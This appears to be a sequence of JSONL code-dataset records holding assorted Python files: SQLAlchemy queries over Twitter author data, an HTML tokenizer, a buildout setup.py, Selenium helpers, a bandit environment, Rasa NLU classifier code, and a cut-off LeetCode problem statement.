self.session.query(Post).filter(and_(Post.domain == domain, and_(*conditions))).all()\n\n def insert_or_update(self, items):\n try:\n self.session.bulk_save_objects(items, update_changed_only=False)\n self.session.commit()\n except Exception as e:\n self.session.rollback()\n self.addPosts(items)\n\n def delete_class_author_features(self, class_name):\n self.session.query(AuthorFeatures).filter(AuthorFeatures.attribute_name.startswith(class_name)).delete(\n synchronize_session=False)\n self.session.commit()\n\n def drop_table(self, table_name):\n if self.is_table_exist(table_name):\n table = self.get_table_by_name(table_name)\n table.__table__.drop(self.engine)\n\n def get_authors_with_feature(self, feature_prefix_name, author_guids=None):\n if not author_guids:\n result = self.session.query(AuthorFeatures.author_guid).distinct(AuthorFeatures.author_guid) \\\n .filter(AuthorFeatures.attribute_name.startswith(feature_prefix_name)).all()\n else:\n result = self.session.query(AuthorFeatures.author_guid).distinct(AuthorFeatures.author_guid) \\\n .filter(and_(AuthorFeatures.attribute_name.startswith(feature_prefix_name),\n AuthorFeatures.author_guid.in_(set(author_guids)))).all()\n return [r[0] for r in result]\n\n def get_authors_with_enough_features(self, feature_prefix_name, count):\n result = self.session.query(AuthorFeatures.author_guid, func.count(AuthorFeatures.attribute_name)) \\\n .filter(AuthorFeatures.attribute_name.startswith(feature_prefix_name)) \\\n .group_by(AuthorFeatures.author_guid).having(func.count(AuthorFeatures.attribute_name) == count).all()\n return [r[0] for r in result]\n\n def get_authors_with_features(self, feature_names, author_guids=None):\n # author_sets = [set(self.get_authors_with_feature(feature_name, author_guids)) for feature_name in feature_names]\n result = self.session.query(AuthorFeatures.author_guid).distinct(AuthorFeatures.author_guid) \\\n .filter(and_(AuthorFeatures.attribute_name.startswith(feature_name) for feature_name in feature_names))\n return set.intersection(*author_sets)\n\n def get_hospital_twitter_screen_names(self):\n q = \"\"\"\n SELECT hospital_tweet_users_with_screen_names.screen_name\n FROM hospital_tweet_users_with_screen_names\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n screen_names = self.result_iter(cursor)\n return [r[0] for r in screen_names]\n # return screen_names\n #return list(result)\n\n def get_labor_employees_screen_names(self):\n q = \"\"\"\n SELECT labor_unions_tweet_users_with_screen_names.screen_name\n FROM labor_unions_tweet_users_with_screen_names\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n screen_names = self.result_iter(cursor)\n return [r[0] for r in screen_names]\n\n def get_follower_ids_of_hospitals_and_labor_unions(self):\n q = \"\"\"\n SELECT union_healthcare_and_labor_union_workers.destination_author_osn_id\n FROM union_healthcare_and_labor_union_workers\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n ids = self.result_iter(cursor)\n return [id[0] for id in ids]\n\n\n def get_intersection_of_labor_union_and_healthcare_users_followers_ids(self):\n q = \"\"\"\n SELECT DISTINCT(temp_author_connections.destination_author_osn_id)\n FROM temp_author_connections\n WHERE temp_author_connections.destination_author_osn_id IN (\n SELECT healtchcare_temp_author_connections.destination_author_osn_id\n FROM healtchcare_temp_author_connections\n )\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n ids = self.result_iter(cursor)\n return [id[0] for id in ids]\n\n\n #\n # collect all users who we finished to collect their followers_ids\n def get_already_retrieved_their_follower_ids(self):\n q = \"\"\"\n SELECT DISTINCT(temp_author_connections.source_author_osn_id)\n FROM temp_author_connections\n WHERE temp_author_connections.connection_type = 'follower'\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n screen_names = self.result_iter(cursor)\n return [r[0] for r in screen_names]\n\n\n # SELECT DISTINCT(temp_author_connections.destination_author_osn_id)\n # FROM temp_author_connections\n # WHERE temp_author_connections.source_author_osn_id NOT IN (\n # SELECT labor_unions_users_with_screen_names_osn_ids_and_relevance.author_osn_id\n # FROM labor_unions_users_with_screen_names_osn_ids_and_relevance\n # WHERE labor_unions_users_with_screen_names_osn_ids_and_relevance.is_related_to_healthcare_using_Wikipedia = '0'\n # )\n # AND temp_author_connections.destination_author_osn_id NOT IN (\n # SELECT labor_unions_users_with_screen_names_osn_ids_and_relevance.author_osn_id\n # FROM labor_unions_users_with_screen_names_osn_ids_and_relevance\n # )\n\n def get_healthcare_labor_union_follower_ids(self):\n q = \"\"\"\n SELECT DISTINCT(temp_author_connections.destination_author_osn_id)\n FROM temp_author_connections\n WHERE temp_author_connections.destination_author_osn_id NOT IN (\n SELECT labor_unions_users_with_screen_names_osn_ids_and_relevance.author_osn_id\n FROM labor_unions_users_with_screen_names_osn_ids_and_relevance\n )\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n osn_ids = self.result_iter(cursor)\n return [r[0] for r in osn_ids]\n\n\n def get_poi_screen_names(self):\n q = \"\"\"\n SELECT Optional_POIs_with_twitter_screen_name.twitter_author_screen_name\n FROM Optional_POIs_with_twitter_screen_name\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n screen_names = self.result_iter(cursor)\n return [r[0] for r in screen_names]\n\n def get_poi_v6_screen_names(self):\n q = \"\"\"\n SELECT Health_POIs_V6_with_screen_names.author_screen_name\n FROM Health_POIs_V6_with_screen_names\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n screen_names = self.result_iter(cursor)\n return [r[0] for r in screen_names]\n\n def get_follower_ids_to_crawl(self):\n q = \"\"\"\n SELECT DISTINCT(temp_author_connections.destination_author_osn_id)\n FROM temp_author_connections\n WHERE temp_author_connections.destination_author_osn_id NOT IN (\n SELECT authors.author_osn_id\n FROM authors\n )\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n author_ids = self.result_iter(cursor)\n return [r[0] for r in author_ids]\n\n def get_author_ids_not_general_public_and_not_brought_followers_for_them(self):\n q = \"\"\"\n SELECT Health_POIs_V6_with_screen_names_and_osn_ids.author_osn_id\n FROM Health_POIs_V6_with_screen_names_and_osn_ids\n WHERE Health_POIs_V6_with_screen_names_and_osn_ids.general_public_interest = ''\n AND Health_POIs_V6_with_screen_names_and_osn_ids.author_osn_id NOT IN (\n SELECT DISTINCT(temp_author_connections.source_author_osn_id)\n FROM temp_author_connections\n )\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n author_ids = self.result_iter(cursor)\n return [r[0] for r in author_ids]\n\n def get_description_and_full_names_for_authors(self):\n q = \"\"\"\n SELECT authors.author_guid, authors.author_osn_id, authors.author_screen_name, authors.author_full_name, authors.description\n FROM authors\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n records = self.result_iter(cursor)\n return records\n\n\n def get_healthcare_worker_screen_names(self):\n q = \"\"\"\n SELECT authors.author_screen_name\n FROM authors\n WHERE authors.author_type = 'Healthcare_Worker_Auto'\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n screen_names = self.result_iter(cursor)\n return [r[0] for r in screen_names]\n\n def get_spokesmanships_screen_names(self):\n q = \"\"\"\n SELECT spokesmanships.Twitter_Screen_Name\n FROM spokesmanships\n WHERE spokesmanships.Twitter_Screen_Name IS NOT NULL\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n author_screen_names = self.result_iter(cursor)\n return [r[0] for r in author_screen_names]\n\n return set.intersection(*author_sets)\n\n def get_authors_by_popularity(self):\n query = \"\"\"\n SELECT posts.author_guid, count(posts.post_id)\n FROM posts\n GROUP BY 1\n ORDER BY 2 Desc\n \"\"\"\n # posts = self.session.query(Post).filter(Post.domain == unicode(domain)).slice(start,stop).all()\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n author_popularity_tupls = self.result_iter(cursor) # , a\n return author_popularity_tupls","sub_path":"DB/schema_definition.py","file_name":"schema_definition.py","file_ext":"py","file_size_in_byte":217021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"15324797","text":"#!/usr/bin/env python\nimport os\nimport BaseHTMLTokenizer as bht\nfrom BaseHTMLTokenizer import BaseHTMLTokenizer\n\n\nPYTHON_TEXT_EXTRACT_SCRIPT = os.path.join(os.path.dirname(bht.__file__),\"extractText.py\")\nPERL_TOKENIZE_SCRIPT = os.path.join(os.path.dirname(bht.__file__),\"tokenize.pl\")\n\n\n\t\nclass HTMLTokenizer(BaseHTMLTokenizer):\n\tdef __init__(self,db_path,**kwargs):\n\t\t'''\n\t\tUse of subprocess for multi-threaded processing needs to be fixed\n\t\t'''\n\t\tdef textExtractor(html_string):\t\t\t\n\t\t\timport subprocess\n\t\t\tp = subprocess.Popen([\"python\",PYTHON_TEXT_EXTRACT_SCRIPT],stdout=subprocess.PIPE,stdin=subprocess.PIPE)\n\t\t\tout,err = p.communicate(html_string)\n\t\t\tif err:\n\t\t\t\traise Exception(err)\n\t\t\treturn out\n\t\t\t#import extracttext as et\t\t\t\t\t\t\n\t\t\t#return et.extractText(html_string).encode(\"utf-8\")\n\t\t\t\t\n\t\tdef tokenExtractor(page_text):\n\t\t\timport subprocess\n\t\t\tp = subprocess.Popen([\"perl\",PERL_TOKENIZE_SCRIPT],stdout=subprocess.PIPE,stdin=subprocess.PIPE)\n\t\t\tout,err = p.communicate(page_text)\n\t\t\tif err:\n\t\t\t\traise Exception(err)\n\t\t\treturn out\n\t\t\n\t\tsuper(self.__class__,self).__init__(db_path,textExtractor,tokenExtractor,**kwargs)\n\t\t\t\nif __name__ == \"__main__\":\t\n\tpass","sub_path":"tokenize/HTMLTokenizer.py","file_name":"HTMLTokenizer.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"519342107","text":"from setuptools import setup, find_packages\n\nname = \"gocept.cvs\"\nsetup(\n name = name,\n version = \"0.1.10\",\n author = \"Daniel Havlik\",\n author_email = \"dh@gocept.com\",\n description = \"zc.buildout recipe for checking out cvs modules.\",\n long_description = open('README.txt').read() + \n '\\n\\n' + \n open('CHANGES.txt').read(),\n license = \"ZPL 2.1\",\n keywords = \"buildout cvs recipe\",\n classifiers = [\"Framework :: Buildout\"],\n url='http://svn.gocept.com/repos/gocept/'+name,\n download_url='https://svn.gocept.com/repos/gocept/gocept.cvs/trunk#egg=gocept.cvs-dev',\n zip_safe=False,\n packages = find_packages('src'),\n include_package_data = True,\n package_dir = {'':'src'},\n namespace_packages = ['gocept'],\n install_requires = ['zc.buildout', 'setuptools'],\n entry_points = {\n 'zc.buildout': [\n 'default = %s:Recipe' % name],\n 'zc.buildout.uninstall': [\n 'default = %s:uninstall' % name],\n },\n test_suite = 'gocept.cvs.tests.test_recipe.test_suite',\n tests_require = ['zc.buildout',\n 'zope.testing',\n 'setuptools',\n 'py == 0.9.0',],\n )\n","sub_path":"pypi_install_script/gocept.cvs-0.1.10.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"262727629","text":"# jacob clarkson\n# project euler problem 2\n# january 2015\n\n# variables to store previously calculated fibonacci numbers\nx = 1\ny = 2\nz = 0\n\n# variable to store the sum\nsum = 0\n\n# main loop\nwhile 1:\n\tz = x + y # calculate next term\n\tif z >= 4000000: # break out of while loop\n\t\tbreak\n\tif z % 2 == 0: # check for even and add to sum\n\t\tsum += z\n\tx = y # swap stored values\n\ty = z\n\nprint(sum + 2)\n","sub_path":"Prob02.py","file_name":"Prob02.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"436338381","text":"from abc import ABCMeta\n\nfrom selenium.common.exceptions import NoSuchElementException, TimeoutException\nfrom selenium.webdriver.remote.webdriver import WebDriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nWAIT_TIMEOUT = 20\n\n\nclass PageObject(metaclass=ABCMeta):\n\n def __init__(self, driver):\n self.driver: WebDriver = driver\n\n def is_element_located_present(self, how, what):\n try:\n return bool(self.driver.find_element(how, what))\n except NoSuchElementException:\n return False\n\n def is_element_located_displayed(self, how, what):\n try:\n return self.driver.find_element(how, what).is_displayed()\n except NoSuchElementException:\n return False\n\n def wait_for_presence_of_element_located(self, how, what, timeout=0):\n timeout = timeout or WAIT_TIMEOUT\n wait = WebDriverWait(self.driver, timeout)\n try:\n wait.until(EC.presence_of_element_located((how, what)))\n except TimeoutException:\n return False\n\n def wait_for_visibility_of_element_located(self, how, what, timeout=0):\n timeout = timeout or WAIT_TIMEOUT\n wait = WebDriverWait(self.driver, timeout)\n try:\n wait.until(EC.visibility_of_element_located((how, what)))\n except TimeoutException:\n return False\n\n def wait_for_ajax(self, timeout=0):\n timeout = timeout or WAIT_TIMEOUT\n wait = WebDriverWait(self.driver, timeout)\n try:\n wait.until(lambda dr: dr.execute_script(\"return jQuery.active == 0\"))\n except TimeoutException:\n return False\n\n def wait_for_javascript(self, timeout=0):\n timeout = timeout or WAIT_TIMEOUT\n wait = WebDriverWait(self.driver, timeout)\n try:\n wait.until(lambda dr: dr.execute_script('return document.readyState === \"complete\"'))\n except TimeoutException:\n return False\n","sub_path":"page_objects/abstract/page_object.py","file_name":"page_object.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"187456556","text":"from whoosh.index import create_in\nfrom whoosh.fields import *\n\nschema = Schema(title=TEXT(stored=True),path=ID(stored=True),content=TEXT(stored=True))\nix = create_in('indexer',schema)\nwriter = ix.writer()\nwriter.add_document(title=u'xio小',path=u'/a',content = u'this is the first')\nwriter.add_document(title=u'xio小',path=u'/b',content = u'this is the first xio小 we\"ve add!')\nwriter.commit(merge=False)\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"273303458","text":"import numpy as np\n\nfrom audio_process import get_input_and_length\nfrom text_process import get_label_and_length\n\n\n# train数据生成器\ndef train_generator(data, batchs, batch_size, audio_feature_type, max_input_length, max_label_length):\n audio_data_path_list, text_int_sequences_list = data\n\n # generator只能进行一次生成，故需要while True来进行多个epoch的数据生成\n while True:\n # 每epoch将所有数据进行一次shuffle\n order = np.random.choice(len(audio_data_path_list), len(audio_data_path_list), replace=False)\n audio_data_path_list = [audio_data_path_list[i] for i in order]\n text_int_sequences_list = [text_int_sequences_list[i] for i in order]\n\n for idx in range(batchs):\n batch_input_tensor, batch_input_length = get_input_and_length(\n audio_data_path_list[idx * batch_size: (idx + 1) * batch_size],\n audio_feature_type,\n max_input_length\n )\n batch_label_tensor, batch_label_length = get_label_and_length(\n text_int_sequences_list[idx * batch_size: (idx + 1) * batch_size],\n max_label_length\n )\n\n yield batch_input_tensor, batch_label_tensor, batch_input_length, batch_label_length\n\n\n# 测试数据生成器\ndef test_generator(data, batchs, batch_size, audio_feature_type, max_input_length):\n audio_data_path_list, text_list = data\n\n while True:\n for idx in range(batchs):\n batch_input_tensor, batch_input_length = get_input_and_length(\n audio_data_path_list[idx * batch_size: (idx + 1) * batch_size],\n audio_feature_type,\n max_input_length\n )\n batch_text_list = text_list[idx * batch_size: (idx + 1) * batch_size]\n\n # 测试集只需要文本串list\n yield batch_input_tensor, batch_input_length, batch_text_list\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"hlp/stt/utils/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"235803617","text":"from selenium import webdriver\nfrom selenium.webdriver.support.ui import Select\nimport time\nimport math\n\n\n# find_element_by_css_selector('input[type=\"checkbox\"]')\ndef calc(x):\n return str(math.log(abs(12 * math.sin(int(x)))))\n\n\nlink = \"http://suninjuly.github.io/get_attribute.html\"\n\nwith webdriver.Chrome() as browser:\n try:\n browser.get(link)\n chest = browser.find_element_by_id(\"treasure\")\n valuex = chest.get_attribute(\"valuex\")\n print(valuex)\n x = calc(valuex)\n print(x)\n text_field = browser.find_element_by_id(\"answer\")\n text_field.send_keys(x)\n checkbox = browser.find_element_by_id(\"robotCheckbox\")\n checkbox.click()\n radiobutton = browser.find_element_by_id(\"robotsRule\")\n radiobutton.click()\n submit_button = browser.find_element_by_css_selector(\"body > div > form > div > div > button\")\n submit_button.click()\n\n finally:\n time.sleep(5)\n browser.quit()\n","sub_path":"Module_2/Lesson 2.1.5.py","file_name":"Lesson 2.1.5.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"354401495","text":"from porise import Env \nfrom porise.envs.utils import seeding\nfrom porise.envs.utils.discrete import Discrete\n\nimport numpy as np \nimport itertools\n\n\nclass LinearEnv(Env):\n def __init__(self, n_arm, feature_dim, max_steps=1e5, noise_std=1.0):\n self.action_space = Discrete(n_arm)\n self.n_arm = n_arm\n self.feature_dim = feature_dim\n self.max_steps = max_steps\n self.h = self.get_reward_func()\n # standard deviation of Gaussian reward noise\n self.noise_std = noise_std\n\n self.seed()\n # initialize arm features, rewards, and others.\n self.reset()\n \n def get_reward_func(self):\n a = np.random.randn(self.feature_dim)\n a /= np.linalg.norm(a, ord=2)\n return lambda x: 100*np.dot(a, x)\n\n def seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n \n def step(self, action):\n err_msg = \"%r (%s) invalid\" % (action, type(action))\n assert self.action_space.contains(action), err_msg\n\n reward = self.rewards[self.steps_beyond_done, action]\n best_action = self.best_actions_oracle[self.steps_beyond_done]\n regret = self.best_rewards_oracle[self.steps_beyond_done] - reward\n assert self.action_space.contains(best_action)\n assert regret >= 0\n self.info = {\n 'best_arm_hit': best_action == action,\n 'regret': regret\n }\n \n if self.steps_beyond_done == self.max_steps-1:\n self.done = True \n self.steps_beyond_done = 0\n else:\n self.steps_beyond_done += 1\n self.state = self.features[self.steps_beyond_done]\n\n return self.state, reward, self.done, self.info\n\n def reset(self):\n self.state = None\n self.steps_beyond_done = 0\n self.done = False \n self.info = {}\n self.best_arm_hit = 0\n\n self.reset_features()\n self.reset_rewards(self.h)\n \n def reset_features(self):\n \"\"\"Generate normalized random N(0,1) features.\n \"\"\"\n x = np.random.randn(self.max_steps, self.n_arm, self.feature_dim)\n x /= np.repeat(np.linalg.norm(x, axis=-1, ord=2), self.feature_dim).reshape(self.max_steps, self.n_arm, self.feature_dim)\n self.features = x\n\n def reset_rewards(self, h):\n \"\"\"Generate rewards for each arm and each round,\n following the reward function h + Gaussian noise.\n \"\"\"\n self.rewards = np.array(\n [\n h(self.features[t, k]) + self.noise_std*np.random.randn()\\\n for t,k in itertools.product(range(self.max_steps), range(self.n_arm))\n ]\n ).reshape(self.max_steps, self.n_arm)\n\n # to be used only to compute regret, NOT by the algorithm itself\n self.best_rewards_oracle = np.max(self.rewards, axis=1)\n self.best_actions_oracle = np.argmax(self.rewards, axis=1)","sub_path":"porise/envs/synthetic/contextual_base.py","file_name":"contextual_base.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"343229465","text":"import copy\nimport logging\nfrom collections import defaultdict\nfrom pathlib import Path\n\nimport numpy as np\nimport os\nimport scipy.sparse\nimport tensorflow as tf\n\nfrom typing import Any, Dict, List, Optional, Text, Tuple, Union, Type\n\nimport rasa.shared.utils.io\nimport rasa.utils.io as io_utils\nimport rasa.nlu.utils.bilou_utils as bilou_utils\nfrom rasa.shared.constants import DIAGNOSTIC_DATA\nfrom rasa.nlu.featurizers.featurizer import Featurizer\nfrom rasa.nlu.components import Component\nfrom rasa.nlu.classifiers.classifier import IntentClassifier\nfrom rasa.nlu.extractors.extractor import EntityExtractor, EntityTagSpec\nfrom rasa.nlu.classifiers import LABEL_RANKING_LENGTH\nfrom rasa.utils import train_utils\nfrom rasa.utils.tensorflow import layers\nfrom rasa.utils.tensorflow.models import RasaModel, TransformerRasaModel\nfrom rasa.utils.tensorflow.model_data import (\n RasaModelData,\n FeatureSignature,\n FeatureArray,\n)\nfrom rasa.nlu.constants import TOKENS_NAMES\nfrom rasa.shared.nlu.constants import (\n TEXT,\n INTENT,\n INTENT_RESPONSE_KEY,\n ENTITIES,\n ENTITY_ATTRIBUTE_TYPE,\n ENTITY_ATTRIBUTE_GROUP,\n ENTITY_ATTRIBUTE_ROLE,\n NO_ENTITY_TAG,\n SPLIT_ENTITIES_BY_COMMA,\n)\nfrom rasa.nlu.config import RasaNLUModelConfig\nfrom rasa.shared.exceptions import InvalidConfigException\nfrom rasa.shared.nlu.training_data.training_data import TrainingData\nfrom rasa.shared.nlu.training_data.message import Message\nfrom rasa.nlu.model import Metadata\nfrom rasa.utils.tensorflow.constants import (\n LABEL,\n IDS,\n HIDDEN_LAYERS_SIZES,\n SHARE_HIDDEN_LAYERS,\n TRANSFORMER_SIZE,\n NUM_TRANSFORMER_LAYERS,\n NUM_HEADS,\n BATCH_SIZES,\n BATCH_STRATEGY,\n EPOCHS,\n RANDOM_SEED,\n LEARNING_RATE,\n RANKING_LENGTH,\n LOSS_TYPE,\n SIMILARITY_TYPE,\n NUM_NEG,\n SPARSE_INPUT_DROPOUT,\n DENSE_INPUT_DROPOUT,\n MASKED_LM,\n ENTITY_RECOGNITION,\n TENSORBOARD_LOG_DIR,\n INTENT_CLASSIFICATION,\n EVAL_NUM_EXAMPLES,\n EVAL_NUM_EPOCHS,\n UNIDIRECTIONAL_ENCODER,\n DROP_RATE,\n DROP_RATE_ATTENTION,\n WEIGHT_SPARSITY,\n NEGATIVE_MARGIN_SCALE,\n REGULARIZATION_CONSTANT,\n SCALE_LOSS,\n USE_MAX_NEG_SIM,\n MAX_NEG_SIM,\n MAX_POS_SIM,\n EMBEDDING_DIMENSION,\n BILOU_FLAG,\n KEY_RELATIVE_ATTENTION,\n VALUE_RELATIVE_ATTENTION,\n MAX_RELATIVE_POSITION,\n AUTO,\n BALANCED,\n CROSS_ENTROPY,\n TENSORBOARD_LOG_LEVEL,\n CONCAT_DIMENSION,\n FEATURIZERS,\n CHECKPOINT_MODEL,\n SEQUENCE,\n SENTENCE,\n SEQUENCE_LENGTH,\n DENSE_DIMENSION,\n MASK,\n CONSTRAIN_SIMILARITIES,\n MODEL_CONFIDENCE,\n SOFTMAX,\n)\nfrom rasa.utils.tensorflow.data_generator import RasaBatchDataGenerator\n\nlogger = logging.getLogger(__name__)\n\n\nSPARSE = \"sparse\"\nDENSE = \"dense\"\nLABEL_KEY = LABEL\nLABEL_SUB_KEY = IDS\n\nPOSSIBLE_TAGS = [ENTITY_ATTRIBUTE_TYPE, ENTITY_ATTRIBUTE_ROLE, ENTITY_ATTRIBUTE_GROUP]\n\n\n\n\n\nclass JoinBert():\n\n def train(self,\n training_data: TrainingData,\n config: Optional[RasaNLUModelConfig] = None,\n **kwargs: Any,\n ):\n \"\"\"Train the embedding intent classifier on a data set.\"\"\"\n model_data = self.preprocess_train_data(training_data)\n if model_data.is_empty():\n logger.debug(\n f\"Cannot train '{self.__class__.__name__}'. No data was provided. \"\n f\"Skipping training of the joinbert classifier.\"\n )\n return\n\n \n def preprocess_train_data(self, training_data):\n if self.component_config[BILOU_FLAG]:\n '''user bilou: I-U-L entities for handle group entities\n '''\n bilou_utils.apply_bilou_schema(training_data)\n\n \n # intent dataset\n label_id_index_mapping = self._label_id_index_mapping(\n training_data,\n attribute=INTENT\n )\n\n if not label_id_index_mapping:\n # no labels are present to train\n return []\n \n self.index_label_id_mapping = self._invert_mapping(label_id_index_mapping)\n\n self._label_data = self._create_label_data(\n training_data, label_id_index_mapping, attribute=INTENT\n )\n\n @staticmethod\n def _label_id_index_mapping(\n training_data: TrainingData, attribute: Text\n ) -> Dict[Text, int]:\n \"\"\"Create label_id dictionary.\"\"\"\n\n distinct_label_ids = {\n example.get(attribute) for example in training_data.intent_examples\n } - {None}\n return {\n label_id: idx for idx, label_id in enumerate(sorted(distinct_label_ids))\n }\n\n @staticmethod\n def _invert_mapping(mapping: Dict) -> Dict:\n return {value: key for key, value in mapping.items()}\n\n def _create_label_data(\n self,\n training_data: TrainingData,\n label_id_dict: Dict[Text, int],\n attribute: Text,\n ) -> RasaModelData:\n \"\"\"Create matrix with label_ids encoded in rows as bag of words.\n\n Find a training example for each label and get the encoded features\n from the corresponding Message object.\n If the features are already computed, fetch them from the message object\n else compute a one hot encoding for the label as the feature vector.\n \"\"\"\n # Collect one example for each label\n labels_idx_examples = []\n for label_name, idx in label_id_dict.items():\n label_example = self._find_example_for_label(\n label_name, training_data.intent_examples, attribute\n )\n labels_idx_examples.append((idx, label_example))\n\n # Sort the list of tuples based on label_idx\n labels_idx_examples = sorted(labels_idx_examples, key=lambda x: x[0])\n labels_example = [example for (_, example) in labels_idx_examples]\n\n # Collect features, precomputed if they exist, else compute on the fly\n if self._check_labels_features_exist(labels_example, attribute):\n (\n sequence_features,\n sentence_features,\n ) = self._extract_labels_precomputed_features(labels_example, attribute)\n else:\n sequence_features = None\n sentence_features = self._compute_default_label_features(labels_example)\n\n label_data = RasaModelData()\n label_data.add_features(LABEL, SEQUENCE, sequence_features)\n label_data.add_features(LABEL, SENTENCE, sentence_features)\n\n if label_data.does_feature_not_exist(\n LABEL, SENTENCE\n ) and label_data.does_feature_not_exist(LABEL, SEQUENCE):\n raise ValueError(\n \"No label features are present. Please check your configuration file.\"\n )\n\n label_ids = np.array([idx for (idx, _) in labels_idx_examples])\n # explicitly add last dimension to label_ids\n # to track correctly dynamic sequences\n label_data.add_features(\n LABEL_KEY,\n LABEL_SUB_KEY,\n [FeatureArray(np.expand_dims(label_ids, -1), number_of_dimensions=2)],\n )\n\n label_data.add_lengths(LABEL, SEQUENCE_LENGTH, LABEL, SEQUENCE)\n\n return label_data\n\n\n\n @staticmethod\n def _find_example_for_label(\n label: Text, examples: List[Message], attribute: Text\n ) -> Optional[Message]:\n for ex in examples:\n if ex.get(attribute) == label:\n return ex\n return None\n\n def _check_labels_features_exist(\n self, labels_example: List[Message], attribute: Text\n ) -> bool:\n \"\"\"Checks if all labels have features set.\"\"\"\n\n return all(\n label_example.features_present(\n attribute, self.component_config[FEATURIZERS]\n )\n for label_example in labels_example\n )\n def _extract_labels_precomputed_features(\n self, label_examples: List[Message], attribute: Text = INTENT\n ) -> Tuple[List[FeatureArray], List[FeatureArray]]:\n \"\"\"Collects precomputed encodings.\"\"\"\n features = defaultdict(list)\n\n for e in label_examples:\n label_features = self._extract_features(e, attribute)\n for feature_key, feature_value in label_features.items():\n features[feature_key].append(feature_value)\n\n sequence_features = []\n sentence_features = []\n for feature_name, feature_value in features.items():\n if SEQUENCE in feature_name:\n sequence_features.append(\n FeatureArray(np.array(feature_value), number_of_dimensions=3)\n )\n else:\n sentence_features.append(\n FeatureArray(np.array(feature_value), number_of_dimensions=3)\n )\n\n return sequence_features, sentence_features\n\n def _extract_features(\n self, message: Message, attribute: Text\n ) -> Dict[Text, Union[scipy.sparse.spmatrix, np.ndarray]]:\n (\n sparse_sequence_features,\n sparse_sentence_features,\n ) = message.get_sparse_features(attribute, self.component_config[FEATURIZERS])\n dense_sequence_features, dense_sentence_features = message.get_dense_features(\n attribute, self.component_config[FEATURIZERS]\n )\n\n if dense_sequence_features is not None and sparse_sequence_features is not None:\n if (\n dense_sequence_features.features.shape[0]\n != sparse_sequence_features.features.shape[0]\n ):\n raise ValueError(\n f\"Sequence dimensions for sparse and dense sequence features \"\n f\"don't coincide in '{message.get(TEXT)}'\"\n f\"for attribute '{attribute}'.\"\n )\n if dense_sentence_features is not None and sparse_sentence_features is not None:\n if (\n dense_sentence_features.features.shape[0]\n != sparse_sentence_features.features.shape[0]\n ):\n raise ValueError(\n f\"Sequence dimensions for sparse and dense sentence features \"\n f\"don't coincide in '{message.get(TEXT)}'\"\n f\"for attribute '{attribute}'.\"\n )\n\n # If we don't use the transformer and we don't want to do entity recognition,\n # to speed up training take only the sentence features as feature vector.\n # We would not make use of the sequence anyway in this setup. Carrying over\n # those features to the actual training process takes quite some time.\n if (\n self.component_config[NUM_TRANSFORMER_LAYERS] == 0\n and not self.component_config[ENTITY_RECOGNITION]\n and attribute not in [INTENT, INTENT_RESPONSE_KEY]\n ):\n sparse_sequence_features = None\n dense_sequence_features = None\n\n out = {}\n\n if sparse_sentence_features is not None:\n out[f\"{SPARSE}_{SENTENCE}\"] = sparse_sentence_features.features\n if sparse_sequence_features is not None:\n out[f\"{SPARSE}_{SEQUENCE}\"] = sparse_sequence_features.features\n if dense_sentence_features is not None:\n out[f\"{DENSE}_{SENTENCE}\"] = dense_sentence_features.features\n if dense_sequence_features is not None:\n out[f\"{DENSE}_{SEQUENCE}\"] = dense_sequence_features.features\n\n return out","sub_path":"src/mynlu/backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":11395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"647462412","text":"\"\"\"\nYour input will be the positions of houses and heaters seperately, and your expected output will be the minimum radius standard of heaters.\n\nNote:\nNumbers of houses and heaters you are given are non-negative and will not exceed 25000.\nPositions of houses and heaters you are given are non-negative and will not exceed 10^9.\nAs long as a house is in the heaters' warm radius range, it can be warmed.\nAll the heaters follow your radius standard and the warm radius will the same.\n \nExample 1:\nInput: [1,2,3],[2]\nOutput: 1\nExplanation: The only heater was placed in the position 2, and if we use the radius 1 standard, then all the houses can be warmed.\n\nExample 2:\nInput: [1,2,3,4],[1,4]\nOutput: 1\nExplanation: The two heater was placed in the position 1 and 